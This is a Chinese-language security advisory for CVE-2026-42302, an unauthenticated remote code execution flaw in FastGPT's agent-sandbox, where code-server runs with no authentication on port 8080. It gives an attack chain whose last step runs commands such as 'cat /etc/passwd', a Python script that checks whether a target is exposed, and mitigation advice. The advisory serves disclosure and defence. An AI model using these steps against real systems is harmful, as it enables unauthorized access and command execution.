IPBUF安全漏洞报告
English
CVE-2026-42302 CVSS 9.8 严重

CVE-2026-42302 FastGPT agent-sandbox未授权RCE漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42302
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FastGPT

相关标签

RCEFastGPT未授权访问CVE-2026-42302Code-Server

漏洞概述

FastGPT 的 agent-sandbox 组件在 4.14.10 至 4.14.13 之前的版本中存在严重安全缺陷。由于启动脚本将 code-server 配置为无认证模式并监听所有网络接口,攻击者无需任何凭据即可通过网络访问该服务,进而获得沙箱环境的完全控制权并执行任意代码。

技术细节

该漏洞源于 FastGPT 项目中 agent-sandbox 组件的启动脚本 entrypoint.sh 存在严重的配置错误。在受影响的版本中,脚本初始化 code-server(VS Code 的 Web 版本)时使用了 --auth none 参数,这完全禁用了系统的身份验证机制。同时,服务被绑定到 0.0.0.0:8080,即对外开放在所有网络接口上。由于 code-server 提供了基于 Web 的终端访问功能,攻击者只需发现开放的 8080 端口,即可直接访问 Web IDE 并打开终端。这使得攻击者能够在无需登录的情况下,在容器化的沙箱环境中执行任意系统命令,实现未授权的远程代码执行(RCE),完全控制沙箱实例。

攻击链分析

STEP 1
侦察
攻击者扫描目标网络,寻找开放 8080 端口的 FastGPT agent-sandbox 实例。
STEP 2
访问服务
攻击者通过浏览器或工具直接访问 http://target:8080,由于配置了 --auth none,无需输入账号密码即可进入 code-server 界面。
STEP 3
获取终端
在 code-server 界面中,攻击者点击打开 Web 终端(Terminal),获取沙箱容器的 Shell 访问权限。
STEP 4
执行命令
攻击者在终端中输入任意系统命令(如 whoami, ls, cat /etc/passwd),成功实现远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Proof of Concept for CVE-2026-42302 # Checks if the code-server is accessible without authentication target = "http://<target-ip>:8080" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } def check_vulnerability(): try: # Accessing the root endpoint of code-server response = requests.get(target, headers=headers, timeout=5) # If auth is none, it usually returns 200 or 302 to the IDE interface # Check for specific content indicating code-server is running if response.status_code == 200 and "code-server" in response.text: print("[+] Target is vulnerable to CVE-2026-42302.") print("[+] Code-server is accessible without authentication.") print("[+] RCE possible via Web Terminal at: {}".format(target)) else: print("[-] Target does not appear to be vulnerable or service is down.") except requests.RequestException as e: print("[-] Connection error: {}".format(e)) if __name__ == "__main__": check_vulnerability()

影响范围

FastGPT >= 4.14.10
FastGPT < 4.14.13

防御指南

临时缓解措施
如果无法立即升级,建议通过网络策略限制对 agent-sandbox 服务端口(8080)的访问,例如使用 iptables 或云安全组规则,仅允许内部流量访问,从而阻断未授权的外部访问。

参考链接